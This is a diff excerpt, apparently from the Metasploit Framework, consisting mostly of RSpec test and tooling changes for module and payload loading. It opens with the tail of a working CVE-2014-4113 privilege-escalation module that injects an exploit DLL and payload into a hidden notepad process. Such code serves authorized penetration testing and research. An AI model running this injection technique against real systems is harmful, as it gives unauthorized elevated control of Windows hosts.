fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')
end
print_status('Launching notepad to host the exploit...')
notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true})
begin
process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
print_good("Process #{process.pid} launched.")
rescue Rex::Post::Meterpreter::RequestError
# Reader Sandbox won't allow to create a new process:
# stdapi_sys_process_execute: Operation failed: Access is denied.
print_status('Operation failed. Trying to elevate the current process...')
process = client.sys.process.open
end
print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
if target.arch.first == ARCH_X86
dll_file_name = 'cve-2014-4113.x86.dll'
else
dll_file_name = 'cve-2014-4113.x64.dll'
end
library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-4113', dll_file_name)
library_path = ::File.expand_path(library_path)
print_status("Injecting exploit into #{process.pid}...")
exploit_mem, offset = inject_dll_into_process(process, library_path)
print_status("Exploit injected. Injecting payload into #{process.pid}...")
payload_mem = inject_into_process(process, payload.encoded)
# invoke the exploit, passing in the address of the payload that
# we want invoked on successful exploitation.
print_status('Payload injected. Executing exploit...')
process.thread.create(exploit_mem + offset, payload_mem)
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
end
end

View File

@ -0,0 +1,10 @@
require 'spec_helper'
require 'metasploit/framework/login_scanner/buffalo'
describe Metasploit::Framework::LoginScanner::Buffalo do
it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false
it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket'
it_behaves_like 'Metasploit::Framework::LoginScanner::HTTP'
end

View File

@ -0,0 +1,10 @@
require 'spec_helper'
require 'metasploit/framework/login_scanner/mybook_live'
describe Metasploit::Framework::LoginScanner::MyBookLive do
it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false
it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket'
it_behaves_like 'Metasploit::Framework::LoginScanner::HTTP'
end

View File

@ -38,6 +38,7 @@ end
REF_TYPES = %w(CVE BID OSVDB EDB)
describe Msf::Module do
it { is_expected.to respond_to :[] }
it { is_expected.to respond_to :[]= }
it { is_expected.to respond_to :alias }
@ -50,8 +51,6 @@ describe Msf::Module do
it { is_expected.to respond_to :compat }
it { is_expected.to respond_to :compatible? }
it { is_expected.to respond_to :debugging? }
it { is_expected.to respond_to :deregister_options }
it { is_expected.to respond_to :derived_implementor? }
it { is_expected.to respond_to :description }
it { is_expected.to respond_to :disclosure_date }
it { is_expected.to respond_to :each_arch }
@ -62,20 +61,7 @@ describe Msf::Module do
it { is_expected.to respond_to :file_path }
it { is_expected.to respond_to :framework }
it { is_expected.to respond_to :fullname }
it { is_expected.to respond_to :generate_uuid }
it { is_expected.to respond_to :import_defaults }
it { is_expected.to respond_to :info_fixups }
it { is_expected.to respond_to :init_compat }
it { is_expected.to respond_to :merge_check_key }
it { is_expected.to respond_to :merge_info }
it { is_expected.to respond_to :merge_info_advanced_options }
it { is_expected.to respond_to :merge_info_alias }
it { is_expected.to respond_to :merge_info_description }
it { is_expected.to respond_to :merge_info_evasion_options }
it { is_expected.to respond_to :merge_info_name }
it { is_expected.to respond_to :merge_info_options }
it { is_expected.to respond_to :merge_info_string }
it { is_expected.to respond_to :merge_info_version }
it { is_expected.to respond_to :name }
it { is_expected.to respond_to :nop? }
it { is_expected.to respond_to :orig_cls }
@ -96,19 +82,14 @@ describe Msf::Module do
it { is_expected.to respond_to :rank_to_h }
it { is_expected.to respond_to :rank_to_s }
it { is_expected.to respond_to :refname }
it { is_expected.to respond_to :register_advanced_options }
it { is_expected.to respond_to :register_evasion_options }
it { is_expected.to respond_to :register_options }
it { is_expected.to respond_to :register_parent }
it { is_expected.to respond_to :replicant }
it { is_expected.to respond_to :set_defaults }
it { is_expected.to respond_to :share_datastore }
it { is_expected.to respond_to :shortname }
it { is_expected.to respond_to :support_ipv6? }
it { is_expected.to respond_to :target_host }
it { is_expected.to respond_to :target_port }
it { is_expected.to respond_to :type }
it { is_expected.to respond_to :update_info }
it { is_expected.to respond_to :validate }
it { is_expected.to respond_to :vprint_debug }
it { is_expected.to respond_to :vprint_error }
@ -118,6 +99,34 @@ describe Msf::Module do
it { is_expected.to respond_to :vprint_warning }
it { is_expected.to respond_to :workspace }
[
:deregister_options,
:derived_implementor?,
:generate_uuid,
:info_fixups,
:init_compat,
:merge_check_key,
:merge_info,
:merge_info_advanced_options,
:merge_info_alias,
:merge_info_description,
:merge_info_evasion_options,
:merge_info_name,
:merge_info_options,
:merge_info_string,
:merge_info_version,
:register_advanced_options,
:register_evasion_options,
:register_options,
:set_defaults,
:update_info,
].each do |sym|
it "should respond to protected method #{sym}" do
expect { subject.respond_to?(sym, true) }.to be_truthy
end
end
context 'CONSTANTS' do
context 'UpdateableOptions' do
subject(:updateable_options) {

View File

@ -224,11 +224,11 @@ describe Rex::Proto::Http::Client do
cli.should respond_to :username
cli.should respond_to :password
cli.should respond_to :junk_pipeline
# These are supposed to be protected
cli.should respond_to :ssl
cli.should respond_to :ssl_version
cli.should respond_to :hostname
cli.should respond_to :port
# These are protected. Why are they protected? Hysterical raisins.
#cli.should respond_to :ssl
#cli.should respond_to :ssl_version
#cli.should respond_to :hostname
#cli.should respond_to :port
end
# Not super sure why these are protected...

View File

@ -77,14 +77,14 @@ describe Rex::SSLScan::Scanner do
end
it "should return an X509 cert if it can connect" do
subject.get_cert(:SSLv3, "AES256-SHA").class.should == OpenSSL::X509::Certificate
subject.get_cert(:SSLv3, "AES256-SHA").should be_a OpenSSL::X509::Certificate
end
end
context "when scanning https://google.com" do
it "should return a Result object" do
result = subject.scan
result.class.should == Rex::SSLScan::Result
result.should be_a Rex::SSLScan::Result
end
context "if SSLv2 is not available locally" do

View File

@ -1,3 +1,4 @@
# -*- coding: binary -*-
require 'rex/text'
describe Rex::Text do

File diff suppressed because it is too large Load Diff

30
spec/modules_spec.rb Normal file
View File

@ -0,0 +1,30 @@
require 'spec_helper'
describe 'modules', :content do
modules_pathname = Pathname.new(__FILE__).parent.parent.join('modules')
it_should_behave_like 'all modules with module type can be instantiated',
module_type: 'auxiliary',
modules_pathname: modules_pathname,
type_directory: 'auxiliary'
it_should_behave_like 'all modules with module type can be instantiated',
module_type: 'encoder',
modules_pathname: modules_pathname,
type_directory: 'encoders'
it_should_behave_like 'all modules with module type can be instantiated',
module_type: 'exploit',
modules_pathname: modules_pathname,
type_directory: 'exploits'
it_should_behave_like 'all modules with module type can be instantiated',
module_type: 'nop',
modules_pathname: modules_pathname,
type_directory: 'nops'
it_should_behave_like 'all modules with module type can be instantiated',
module_type: 'post',
modules_pathname: modules_pathname,
type_directory: 'posts'
end

View File

@ -48,6 +48,8 @@ RSpec.configure do |config|
# --seed 1234
config.order = 'random'
config.treat_symbols_as_metadata_keys_with_true_values = true
# If you're not using ActiveRecord, or you'd prefer not to run each of your
# examples within a transaction, remove the following line or assign false
# instead of true.

View File

@ -0,0 +1,78 @@
# Use along with `it_should_behave_like 'payload can be instantiated'` to detect if a payload under `:modules_pathname`
# was not tested. If any payloads are untested, an error will be written to stderr and the names of untested payloads
# will be logged to `log/untested-payloads.log`. This log is reset for run of context, so if there were previously
# untested payloads and there aren't anymore, then `log/untested-payloads.log` will be deleted. Can be used with
# {Metasploit::Framework::Spec::UntestedPayloads.define_task} so that the `spec` task fails if there are untested
# payloads.
#
# @example Using 'untested payloads' with `Metasploit::Framework::Spec::UntestedPayloads.define_task` and 'payloads can be instantiated' shared examples
# # Rakefile
# require 'metasploit/framework/spec/untested_payloads'
#
# # defined spec task with rspec-rails
# My::Application.load_tasks
# # extends spec task to fail when there are untested payloads
# Metasploit::Framework::Spec::UntestedPayloads.define_task
#
# # spec/modules/payloads_spec.rb
# require 'spec_helper'
#
# describe 'modules/payloads' do
# modules_pathname = Pathname.new(__FILE__).parent.parent.parent.join('modules')
#
# include_context 'untested payloads', modules_pathname: modules_pathname
#
# context 'my/staged/payload/handler' do
# it_should_behave_like 'payload can be instantiated',
# ancestor_reference_names: [
# 'stages/my/payload',
# 'stagers/my/payload/handler',
# modules_pathname: modules_pathname,
# reference_name: 'my/staged/payload/handler'
# ]
# end
# end
#
# @param options [Hash{Symbol => Pathname}]
# @option options [Pathname] :modules_pathname Pathname of `modules` directory underwhich payloads are defined on the
# file system.
shared_context 'untested payloads' do |options={}|
options.assert_valid_keys(:modules_pathname)
modules_pathname = options.fetch(:modules_pathname)
before(:all) do
@expected_ancestor_reference_name_set = Set.new
@actual_ancestor_reference_name_set = Set.new
payloads_pathname = modules_pathname.join('payloads')
Dir.glob(payloads_pathname.join('**', '*.rb')) do |expected_ancestor_path|
expected_ancestor_pathname = Pathname.new(expected_ancestor_path)
expected_ancestor_reference_pathname = expected_ancestor_pathname.relative_path_from(payloads_pathname)
expected_ancestor_reference_name = expected_ancestor_reference_pathname.to_path.gsub(/.rb$/, '')
@expected_ancestor_reference_name_set.add(expected_ancestor_reference_name)
end
end
after(:all) do
missing_ancestor_reference_name_set = @expected_ancestor_reference_name_set - @actual_ancestor_reference_name_set
untested_payloads_pathname = Pathname.new('log/untested-payloads.log')
if missing_ancestor_reference_name_set.empty?
if untested_payloads_pathname.exist?
untested_payloads_pathname.delete
end
else
untested_payloads_pathname.open('w') do |f|
missing_ancestor_reference_name_set.sort.each do |missing_ancestor_reference_name|
f.puts missing_ancestor_reference_name
end
end
$stderr.puts "Some payloads are untested. See log/untested-payload.log for details."
end
end
end

View File

@ -0,0 +1,59 @@
shared_examples_for 'all modules with module type can be instantiated' do |options={}|
options.assert_valid_keys(:module_type, :modules_pathname, :type_directory)
module_type = options.fetch(:module_type)
modules_pathname = options.fetch(:modules_pathname)
modules_path = modules_pathname.to_path
type_directory = options.fetch(:type_directory)
include_context 'Msf::Simple::Framework'
#
# lets
#
let(:loader) {
loader = framework.modules.send(:loaders).find { |loader|
loader.loadable?(modules_path)
}
# Override load_error so that rspec will print it instead of going to framework log
def loader.load_error(module_path, error)
raise error
end
loader
}
context module_type do
let(:module_set) {
framework.modules.module_set(module_type)
}
type_pathname = modules_pathname.join(type_directory)
module_extension = ".rb"
module_extension_regexp = /#{Regexp.escape(module_extension)}$/
Dir.glob(type_pathname.join('**', "*#{module_extension}")) do |module_path|
module_pathname = Pathname.new(module_path)
module_reference_pathname = module_pathname.relative_path_from(type_pathname)
module_reference_name = module_reference_pathname.to_path.gsub(module_extension_regexp, '')
context module_reference_name do
it 'can be instantiated' do
loaded = loader.load_module(modules_path, module_type, module_reference_name)
expect(loaded).to eq(true), "#{module_reference_name} failed to load from #{modules_path}"
module_instance = nil
expect {
module_instance = module_set.create(module_reference_name)
}.not_to raise_error
expect(module_instance).not_to be_nil, "Could not instantiate #{module_type}/#{module_reference_name}"
end
end
end
end
end

View File

@ -339,11 +339,15 @@ shared_examples_for 'Msf::ModuleManager::Cache' do
end
context '#module_info_by_path' do
it { should respond_to(:module_info_by_path) }
it 'should have protected method module_info_by_path' do
subject.respond_to?(:module_info_by_path, true).should be_truthy
end
end
context '#module_info_by_path=' do
it { should respond_to(:module_info_by_path=) }
it 'should have protected method module_info_by_path=' do
subject.respond_to?(:module_info_by_path=, true).should be_truthy
end
end
context '#module_info_by_path_from_database!' do

View File

@ -0,0 +1,132 @@
# @note Requires use of 'untested payloads' shared context for tracking of `@actual_ancestor_reference_name_set`.
#
# Tests that the `:ancestor_reference_names` can be loaded from `:modules_pathname` and once the ancestors are loaded
# that `:reference_name` can be instantiated.
#
# # Payload Reference Name Derivation
# You can see this naming logic [here](https://github.com/rapid7/metasploit-framework/blob/1508be6254f698f345616d14415bce164bf377f9/lib/msf/core/payload_set.rb#L132-L148).
#
# ## Single
# 1. Remove the payload type prefix, `modules/payloads/singles`, from the path.
# 2. Remove the file extension, `.rb` from the path
#
# This is <reference_name>
#
# ## Staged
#
# ### Stager
# Determine if the stager module has a `handler_type_alias`
# No) Use stager's handler's `handler_type` as `<handler_type>`.
# Yes) Use the return value from `handler_type_alias` as `<handler_type>`.
#
# ### Stage
# 1. Remove the payload type prefix, `modules/payloads/stages`, from the path.
# 2. Remove the file extension, `.rb` from the path.
#
# This is <stage_reference_name>.
#
# ### Combining
# The final staged module's combined `<reference_name>` is `<stage_reference_name>/<handler_type>`.
#
# @example Using 'payload can be instantiated' with `Metasploit::Framework::Spec::UntestedPayloads.define_task` and 'untested payloads' shared context
# # Rakefile
# require 'metasploit/framework/spec/untested_payloads'
#
# # defined spec task with rspec-rails
# My::Application.load_tasks
# # extends spec task to fail when there are untested payloads
# Metasploit::Framework::Spec::UntestedPayloads.define_task
#
# # spec/modules/payloads_spec.rb
# require 'spec_helper'
#
# describe 'modules/payloads' do
# modules_pathname = Pathname.new(__FILE__).parent.parent.parent.join('modules')
#
# include_context 'untested payloads', modules_pathname: modules_pathname
#
# context 'my/staged/payload/handler' do
# it_should_behave_like 'payload can be instantiated',
# ancestor_reference_names: [
# 'stages/my/payload',
# 'stagers/my/payload/handler'
# ],
# modules_pathname: modules_pathname,
# reference_name: 'my/staged/payload/handler'
# end
# end
#
# @param options [Hash{Symbol => Array<String>, Pathname, String}]
# @option options [Array<String>] :ancestor_reference_names The reference names of the payload modules that are included
# in {Msf::Payload} to make the `:reference_name` payload. Ancestor reference names are the names of the files under
# `modules/payloads` without the extension `.rb` that are mixed together to form a payload module `Class`. For
# single payloads, there will be one ancestor reference name from `modules/payloads/singles`, while for staged
# payloads there with be one ancestor reference name from `modules/payloads/stagers` and one ancestor reference name
# from `modules/payloads/stages`.
# @option options [Pathname] :modules_pathname The `modules` directory from which to load `:ancestor_reference_names`.
# @option options [String] :reference_name The reference name for payload class that should be instantiated from mixing
# `:ancestor_reference_names`.
# @return [void]
shared_examples_for 'payload can be instantiated' do |options|
options.assert_valid_keys(:ancestor_reference_names, :modules_pathname, :reference_name)
ancestor_reference_names = options.fetch(:ancestor_reference_names)
modules_pathname = options.fetch(:modules_pathname)
modules_path = modules_pathname.to_path
reference_name = options.fetch(:reference_name)
module_type = 'payload'
include_context 'Msf::Simple::Framework'
#
# lets
#
let(:loader) {
loader = framework.modules.send(:loaders).find { |loader|
loader.loadable?(modules_path)
}
# Override load_error so that rspec will print it instead of going to framework log
def loader.load_error(module_path, error)
raise error
end
loader
}
let(:module_set) {
framework.modules.module_set(module_type)
}
context reference_name do
ancestor_reference_names.each do |ancestor_reference_name|
it "can load '#{module_type}/#{ancestor_reference_name}'" do
@actual_ancestor_reference_name_set.add(ancestor_reference_name)
loaded = loader.load_module(modules_path, module_type, ancestor_reference_name)
expect(loaded).to eq(true), "#{ancestor_reference_name} failed to load from #{modules_path}"
end
end
it 'can be instantiated' do
ancestor_reference_names.each do |ancestor_reference_name|
loaded = loader.load_module(modules_path, module_type, ancestor_reference_name)
expect(loaded).to eq(true), "#{ancestor_reference_name} failed to load from #{modules_path}"
end
module_instance = nil
expect {
module_instance = module_set.create(reference_name)
}.not_to raise_error
expect(module_instance).not_to be_nil, "Could not instantiate #{module_type}/#{reference_name}"
end
end
end

85
tools/missing-payload-tests.rb Executable file
View File

@ -0,0 +1,85 @@
#!/usr/bin/env ruby
# Reads untest payload modules from log/untested-payloads.log (which can be produced by running `rake spec`) and prints
# the statements that need to be added to `spec/modules/payloads_spec.rb`. **Note: this script depends on the payload
# being loadable, so if module is not loadable, then the developer must manually determine which single needs to be tested
# or which combinations of stages and stagers need to be tested.**
msfbase = __FILE__
while File.symlink?(msfbase)
msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
end
$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib')))
require 'msfenv'
require 'msf/core'
require 'msf/base'
framework = Msf::Simple::Framework.create()
options_set_by_ancestor_reference_name = Hash.new { |hash, ancestor_reference_name|
hash[ancestor_reference_name] = Set.new
}
framework.payloads.each { |reference_name, payload_class|
module_ancestors = payload_class.ancestors.select { |ancestor|
# need to use try because name may be nil for anonymous Modules
ancestor.name.try(:start_with?, 'Msf::Modules::')
}
ancestor_reference_names = module_ancestors.map { |module_ancestor|
unpacked_module_ancestor_full_name = module_ancestor.name.sub(/^Msf::Modules::Mod/, '')
.sub(/::Metasploit\d+/, '')
module_ancestor_full_name = [unpacked_module_ancestor_full_name].pack("H*")
module_ancestor_full_name.sub(%r{^payload/}, '')
}
options = {
reference_name: reference_name,
ancestor_reference_names: ancestor_reference_names
}
# record for both ancestor_reference_names as which is untested is not known here
ancestor_reference_names.each do |ancestor_reference_name|
options_set_by_ancestor_reference_name[ancestor_reference_name].add options
end
}
tested_options = Set.new
$stderr.puts "Add the following context to `spec/modules/payloads_spec.rb` by inserting them in lexical order between the pre-existing contexts:"
File.open('log/untested-payloads.log') { |f|
f.each_line do |line|
ancestor_reference_name = line.strip
options_set = options_set_by_ancestor_reference_name[ancestor_reference_name]
options_set.each do |options|
# don't print a needed test twice
unless tested_options.include? options
reference_name = options[:reference_name]
$stderr.puts
$stderr.puts " context '#{reference_name}' do\n" \
" it_should_behave_like 'payload can be instantiated',\n" \
" ancestor_reference_name: ["
ancestor_reference_names = options[:ancestor_reference_names]
if ancestor_reference_names.length == 1
$stderr.puts " '#{ancestor_reference_names[0]}'"
else
$stderr.puts " '#{ancestor_reference_names[0]}',"
$stderr.puts " '#{ancestor_reference_names[1]}'"
end
$stderr.puts " ],\n" \
" modules_pathname: modules_pathname,\n" \
" reference_name: '#{reference_name}'\n" \
" end"
tested_options.add options
end
end
end
}